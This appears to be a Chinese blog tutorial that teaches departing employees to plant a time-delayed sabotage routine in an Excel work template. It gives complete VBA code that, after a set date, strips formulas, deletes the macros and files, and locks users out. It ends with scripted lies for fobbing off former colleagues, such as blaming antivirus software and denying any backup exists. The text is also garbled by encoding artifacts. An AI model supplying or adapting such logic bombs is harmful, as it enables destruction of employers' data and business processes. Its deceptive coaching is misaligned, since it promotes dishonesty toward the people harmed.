HI,大家好,我是星光。
有句俗話說,職場(chǎng)如戰(zhàn)場(chǎng),什么齷齪事都有。有的朋友在公司辛苦打拼,加班加點(diǎn)任勞任怨,工資不漲也就算了,還總是被給小鞋穿;臨了辭職,也是遭遇各種小絆子,以至于一口惡氣堵在胸口,大半年不愉快,非常影響夜生活質(zhì)量——
于是有的朋友就問了,我辭職之前能不能把做的Excel模板刪掉?我辛辛苦苦的勞動(dòng)成果憑啥便宜那群白眼狼?
刪模板?當(dāng)著前公司領(lǐng)導(dǎo)和前同事的面刪模板?當(dāng)然是——不行的!善良如你絕無可能以如此絕決的方式撕破他們的臉;另外,為什么要?jiǎng)h呢?給他們留個(gè)爛蘋果固然很好,但吃蘋果最可怕的并不是吃到爛蘋果,而是一口下去咬到好幾條毛毛蟲——所以我隆重向你推薦這個(gè)方案:
在離職一個(gè)月后,讓模板優(yōu)雅的自動(dòng)報(bào)廢。
……
假設(shè)我們有一個(gè)模板,叫'擺攤吧!后浪',這是一份你辛苦良久,加班加點(diǎn),整理業(yè)務(wù)邏輯、數(shù)據(jù)邏輯;編寫函數(shù),甚至VBA代碼蛋生的勞動(dòng)成果。
步驟1
制作說明表
打開模板工作簿,新建一張工作表,命名為說明表。在醒目位置敲下以下文字:
使用本模板必須啟用宏
如有其它說明,可以根據(jù)自身需要,放肆補(bǔ)充。
步驟2
保護(hù)工作簿結(jié)構(gòu)
將所有工作表隱藏,只保留說明表。
在【審閱】選項(xiàng)卡下,單擊【保護(hù)工作簿】,保持【結(jié)構(gòu)】復(fù)選框選中狀態(tài)不變,輸入保護(hù)密碼。(金魚同志,組織讓我給你捎句話,這密碼你需要記住幾秒鐘,別輸入完轉(zhuǎn)眼就忘卻了)。
步驟3
編寫定時(shí)自宮代碼
'工作簿打開,取消工作表隱藏
Private Sub Workbook_Open()
Dim sht As Worksheet
On Error Resume Next
ThisWorkbook.Unprotect '111111'
For Each sht In Worksheets
sht.Visible = xlSheetVisible
Next
ThisWorkbook.Protect '111111', True
End Sub
'禁止文件另存為
Private Sub workbook_BeforeSave(ByVal SaveAsUI As Boolean, Cancel As Boolean)
Dim b As Long
If SaveAsUI = True Then
b = MsgBox('該工作簿不允許用“另存為”來保存,' & _
'你要用原工作簿名稱來保存嗎?', vbQuestion vbOKCancel)
Cancel = (b = vbCancel)
If Cancel = False Then Me.Save
Cancel = True
End If
End Sub
'保護(hù)工作簿結(jié)構(gòu),定時(shí)更新代碼
Private Sub Workbook_BeforeClose(Cancel As Boolean)
Dim sht As Worksheet, dte As Date
Dim strname As String, strFullName As String
On Error Resume Next
With Application
.ScreenUpdating = False
.DisplayAlerts = False
.EnableEvents = False
End With
dte = VBA.DateSerial(2026, 6, 16) '代碼維護(hù)更新時(shí)間
If dte < Date Then
For Each sht In Worksheets
sht.UsedRange.Value = sht.UsedRange.Value
Next
strname = Split(ThisWorkbook.Name, '.xls')(0)
Workbooks(strname & '.xlsx').Close True
strFullName = ThisWorkbook.FullName
ThisWorkbook.SaveAs ThisWorkbook.Path & '\' & strname, xlOpenXMLWorkbook
Kill strFullName
strFullName = ThisWorkbook.FullName
ThisWorkbook.SaveAs ThisWorkbook.Path & '\' & strname & '臨時(shí)工', xlOpenXMLWorkbook
Workbooks.Open (strFullName)
ActiveWorkbook.SaveAs ThisWorkbook.Path & '\' & strname, xlOpenXMLWorkbookMacroEnabled
ActiveWorkbook.Close True
Kill strFullName
With ThisWorkbook
.Saved = True
.ChangeFileAccess xlReadOnly
Kill .FullName
.Close
End With
Else
For Each sht In Worksheets
If sht.Name <> '說明表' Then
sht.Visible = xlSheetVeryHidden
End If
Next
ThisWorkbook.Protect '111111', True
ThisWorkbook.Save
End If
With Application
.ScreenUpdating = True
.DisplayAlerts = True
.EnableEvents = True
End With
End Sub
dte = VBA.DateSerial(2026, 6, 16) '代碼維護(hù)更新時(shí)間,可根據(jù)需要調(diào)整
步驟4
設(shè)置VBE保護(hù)密碼
步驟5
更改文件類型
……
做完這些設(shè)置,到達(dá)指定時(shí)間后,該工作簿就會(huì)自動(dòng)將所有的公式轉(zhuǎn)換為數(shù)值,并自動(dòng)刪除所有VBA代碼了。
模板報(bào)廢后,你的前同事有可能會(huì)期期艾艾或者兇兇巴巴的聯(lián)系你……
……
有裝360嗎?我當(dāng)初編寫的代碼被你們用殺毒軟件給殺死了吧?(360經(jīng)典背鍋俠)
確定沒有操作錯(cuò)?模板對(duì)操作者的Excel水平要求很高的,如果是小白的話,有太多可能出問題了——這個(gè)我和你真說不清楚。
備份?沒有備份。都離職1個(gè)多月了,東西早都扔垃圾桶了,備份文件做什么?就我那工資,備份文件值啥啊?……
不好意思,我都離職一個(gè)多月了,公司的業(yè)務(wù)邏輯都忘的差不多了,這我真幫不了你。你們當(dāng)時(shí)也說我的工作很簡(jiǎn)單,做事不花時(shí)間,那你們重新做下模板,或者干脆不用模板不就得了?
……
聯(lián)系客服